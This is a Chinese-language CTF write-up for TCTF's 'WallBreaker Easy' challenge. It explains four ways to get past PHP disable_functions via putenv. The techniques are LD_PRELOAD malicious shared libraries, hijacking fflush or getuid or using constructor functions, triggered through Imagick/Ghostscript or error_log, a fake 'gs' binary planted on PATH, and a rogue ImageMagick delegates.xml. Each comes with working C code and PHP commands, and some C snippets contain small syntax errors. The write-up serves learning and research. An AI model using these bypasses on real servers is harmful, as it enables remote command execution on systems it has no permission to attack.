文章首发于先知社区:https://xz.aliyun.com/t/4688

前言:

上星期打完TCTF,到现在才有时间整理一下Write Up。Web方向总共只有两道题目,其中一题是 Java,我目前为止还无能为力,另外一题就是这道 WallBreaker Easy。话不多说,开始复现:

题目信息:

Imagick is a awesome library for hackers to break disable_functions. So I installed php-imagick in the server, opened a backdoor for you. Let’s try to execute /readflag to get the flag. Open basedir: /var/www/html:/tmp/3accb9900a8be5421641fb31e6861f33 Hint: eval($_POST[“backdoor”]);

disable_functions:

disable_functions

Imagick 相关信息:

2.png

下面我们来说说这道题目的几种解法

解法一:

1. 利用 putenv 设置LD_PRELOAD变量

这里需要介绍一个前置知识:

LD_PRELOAD 是 Linux 下的一个环境变量,动态链接器在载入一个程序所需的所有动态库之前,首先会载入LD_PRELOAD 环境变量所指定的动态库。

我们可以看到disable_functions 里面是没有 ban 掉 putenv 的,那么我们就可以用putenv设置LD_PRELOAD变量,引入自己的恶意动态链接库(共享对象)来劫持库函数,这样如果能再启动一个调用了这个库函数的程序,就可以实现 RCE 。

在此之前,大多是通过mail 函数来启动 sendmail ,然而在这里,mail函数被 ban 掉了,我们只能寻找其他能够启动外部程序的函数。

2. 通过 ImageMagick 调用外部程序

根据题目描述,我们很自然的想到问题出现在 php-imagick ,而 php-imagick,其实只是软件ImageMagick的 PHP 拓展,所以我们需要首先了解一下ImageMagick

引入官方描述:

Use ImageMagick® to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.

可以看到 ImageMagcik 支持超过 200 种格式的文件处理,我们点击描述中的链接即可看到具体的类型和描述:

TIM图片20190331204550.png

很容易就能发现ImageMagick 在处理一些类型的文件的时候需要依赖其他软件。

找出所有调用 Ghostscript 的文件类型:

EPI  EPS  EPS2 EPS3 EPSF EPSI EPT PDF PS PS2 PS3

先用 PDF 来试一试:

<?php
    $test = new Imagick('1.pdf')

结果运行后报错:

$ php index.php
PHP Fatal error:  Uncaught ImagickException: not authorized `1.pdf' @ error/constitute.c/ReadImage/412 in /tmp/tctf/index.php:2
Stack trace:
#0 /tmp/tctf/index.php(2): Imagick->__construct('1.pdf')
#1 {main}
  thrown in /tmp/tctf/index.php on line 2

搜了一下发现是出于安全考虑,新版本ImageMagick 默认禁止了使用Ghostscript处理 PDF 文件。具体的配置文件在:/etc/ImageMagick-6/policy.xml,相关内容如下:

<policymap>
  ......
  <!-- disable ghostscript format types -->
  <policy domain="coder" rights="none" pattern="PS" />
  <policy domain="coder" rights="none" pattern="EPI" />
  <policy domain="coder" rights="none" pattern="PDF" />
  <policy domain="coder" rights="none" pattern="XPS" />
</policymap>

可以看到一起被禁止的还有文件拓展名包含PS EPI XPS 的文件,所以我们上面列举的文件类型里面就只有EPI 符合要求了。

执行 $ convert 1.png ept:1.ept 生成一个 EPT 文件,使用这个文件再次进行测试发现没有报错,

再执行$ strace -f php index.php 2>&1 | grep -C2 execve看一下有没有调用 ghostscript

4.png

可以看到是有去执行gs的,说明我们的思路可行。

3. 生成恶意动态链接库

首先执行 readelf -Ws /usr/bin/gs看一下这个程序都有哪些符号:

5.png

从符号中可以看出他调用的库函数,我们选择 fflush 这个函数来进行劫持:

#include <stdlib.h>
#include <string.h>
void payload() {
    const char* cmd = getenv('CMD')
    system(cmd);
}
int fflush() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

使用 gcc 将上述内容编译成动态链接库,现在万事俱备,只欠东风!

4. 发起攻击

首先将我们生成的 EPI 文件和hack.so 文件利用题目中的后门写入到服务器上,然后执行

putenv('LD_PRELOAD=/tmp/3accb9900a8be5421641fb31e6861f33/hack.so'); 
putenv('CMD=/readflag > /tmp/3accb9900a8be5421641fb31e6861f33/flag.txt');
$img = new Imagick('/tmp/3accb9900a8be5421641fb31e6861f33/1.ept');

再读取 flag.txt,即可拿到 flag。

当然,ImageMagick 会调用的不只有Ghostscript,所以还有其他类型的文件可以利用,这里就不一一列举了。

解法二:

上面的解法是通过 ImageMagick 来启动ghostscript 并劫持其库函数,然而我们真的除了ImageMagick之外就找不到其他更通用的函数可以启动外部程序了吗?

1. 利用 error_log 函数启动 sendmail

error_log 的具体信息我就不介绍了,大家可以到官方文档 查看。

这里我们要用到的就是当 error_log 的第二个参数 message_type 的值为 1 的时候,会调用mail 函数的同一个内置函数(会执行sendmail 命令)的特性。

那么思路和第一种解法类似,我们只要劫持 sendmail 调用的库函数,然后使用 error_log函数启动 sendmail 进程即可。

然而真的会这么简单吗?这里有一个问题,题目的服务器上根本没有安装sendmail! 因此即便环境变量被成功加载,并且 error_log 尝试去执行sendmail,也无法成功执行被我们劫持的库函数。

那么还有其他办法吗?

2. __attribute__((constructor))拓展修饰符?

这个姿势来源于18年12月 FreeBuf 的一篇文章:无需sendmail:巧用LD_PRELOAD突破disable_functions,我发现许多师傅的 Write Up 中都提到了这个方法,但是似乎没人对这个方法做进一步的分析。文章中提到:

GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。

按照这篇文章的说法,我们只需利用putenv设置LD_PRELOAD ,使得使用了__attribute__((constructor))修饰函数的恶意动态链接库被系统加载便能实现命令执行,而不再需要再去劫持程序调用的库函数,sendmail 存不存在也就无所谓了。

然而我们的这个恶意动态链接库(共享对象)究竟是怎么被 “系统” 加载的呢?文章中并没有说清楚。这其实是这篇文章一个疏漏的地方。

我们要知道一个程序的动态链接库并不是所谓被系统加载的,而是被执行的二进制文件去寻找自己所需要的动态链接库,即便这个库是LD_PRELOAD 所设置的,也需要在一个新进程启动之后,由这个进程将库加载进自己的运行环境(甚至如果没有新进程,LD_PRELOAD 变量都不会被加载)。

那么既然sendmail不存在,究竟是哪个进程加载了我们的动态链接库呢?

这里用原文中的一张图给出答案:

可以看到,除了 /usr/bin/php 之外的第一个进程,其实是/bin/sh,而并非/usr/sbin/sendmail!然而这篇文章的作者似乎却忽略了/bin/sh

也就是说在这一步,真正加载了动态链接库的其实是/bin/sh 的进程,其实我们大可不必使用__attribute__((constructor)) ,直接劫持/bin/sh 的库函数即可。

所以说,要想加载动态链接库,就必须启动一个新进程,只要存在新进程,就能劫持库函数。当然这并不是说__attribute__((constructor)) 没有意义,毕竟他可以帮我们省略挑选库函数的过程。

那么回到题目上来,新的动态链接库源码如下:

#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
    unsetenv("LD_PRELOAD");
    const char* cmd = getenv("CMD");
    system(cmd);
}

或者劫持/bin/sh 的库函数

#include <stdlib.h>
#include <string.h>
void payload() {
    const char* cmd = getenv('CMD')
    system(cmd);
}
int getuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

同样,编译成动态链接库后写入服务器。

3. 发起进攻

只需把解法一中执行的最后一行代码改成error_log('',1);

解法三:

前两种方法都是通过设置 LD_PRELOAD变量来加载恶意动态链接库,那么除此之外还有没有其他变量可以利用呢?

1. 覆盖 PATH 变量

我们知道 Linux 中万物皆文件,执行一个命令的实质其实是执行了一个可执行文件,而系统正是通过 PATH环境变量找到命令对应的可执行文件,当输入命令的时候,系统就会去PATH 变量记录的路径下面寻找相应的可执行文件。

那么如果我们通过putenv 覆盖这个变量为我们可以控制的路径,再将恶意文件上传,命名成对应的命令的名字,程序在执行这个命令的时候,就会执行我们的恶意文件。

ImageMagick 正是通过执行命令的形式启动外部程序的,忘记了的同学再看一遍这张图应该就能明白了:

4.png

2.发起攻击

#include <stdlib.h>
#include <string.h>
int main() {
    unsetenv("PATH");
    const char* cmd = getenv("CMD");
    system(cmd);
    return 0;
}

将上述内容编译后命名为 gs,将 gsEPT文件写入到服务器,然后执行:

putenv('PATH=/tmp/3accb9900a8be5421641fb31e6861f33');
putenv('CMD=/readflag > /tmp/3accb9900a8be5421641fb31e6861f33/flag.txt');
chmod('/tmp/3accb9900a8be5421641fb31e6861f33/gs','0777');
$img = new Imagick('/tmp/3accb9900a8be5421641fb31e6861f33/1.ept');

解法四:

1.结合 putenv 和 ImageMagick 特性:

我们在Github上查看ImageMagick 的源码,在官方给出的 QuickStart.txt 中可以看到这样的内容:

Configuration Files

      ImageMagick depends on a number of external configuration files which
      include colors.xml, delegates.xml, and others.
      ImageMagick searches for configuration files in the following order, and
      loads them if found:

          $MAGICK_CONFIGURE_PATH
          $MAGICK_HOME/etc/ImageMagick
          $MAGICK_HOME/share/ImageMagick-7.0.2/config
          $HOME/.config/ImageMagick/
          <client path>/etc/ImageMagick/
          <current directory>/

可以看到 ImageMagick的配置文件位置与环境变量有关,那么结合putenv 我们就可以控制ImageMagick的配置。接下来,我们需要做的就是寻找一些可以帮助我们执行命令的配置项。

在本地环境的配置文件目录逐项查看后,可以发现在delegates.xml这个文件内,定义了ImageMagick处理各种文件类型的规则,格式如下:

<delegatemap>
    ......
  <delegate decode="bpg" command="&quot;bpgdec&quot; -b 16 -o &quot;%o.png&quot; &quot;%i&quot;; /bin/mv &quot;%o.png&quot; &quot;%o&quot;"/>
</delegatemap>

可以看到处理文件所需执行的系统命令均在这个文件中设置,那么我们就可以自定义这个文件来执行命令了。

2. 发起进攻:

首先通过正常情况下执行的命令找到 EPT 文件对应的文件格式为:ps:alpha,那么我们所需要的delegates.xml内容就是:

<delegatemap>
  <delegate decode="ps:alpha" command="sh -c &quot;/readflag > /tmp/3accb9900a8be5421641fb31e6861f33/flag.txt&quot;"/>
</delegatemap>

delegates.xmlEPT 文件写入后,使用题目中的后门执行如下命令即可:

putenv('MAGICK_CONFIGURE_PATH=/tmp/3accb9900a8be5421641fb31e6861f33');
$img = new Imagick('/tmp/3accb9900a8be5421641fb31e6861f33/1.ept');

参考链接:

无需sendmail:巧用LD_PRELOAD突破disable_functions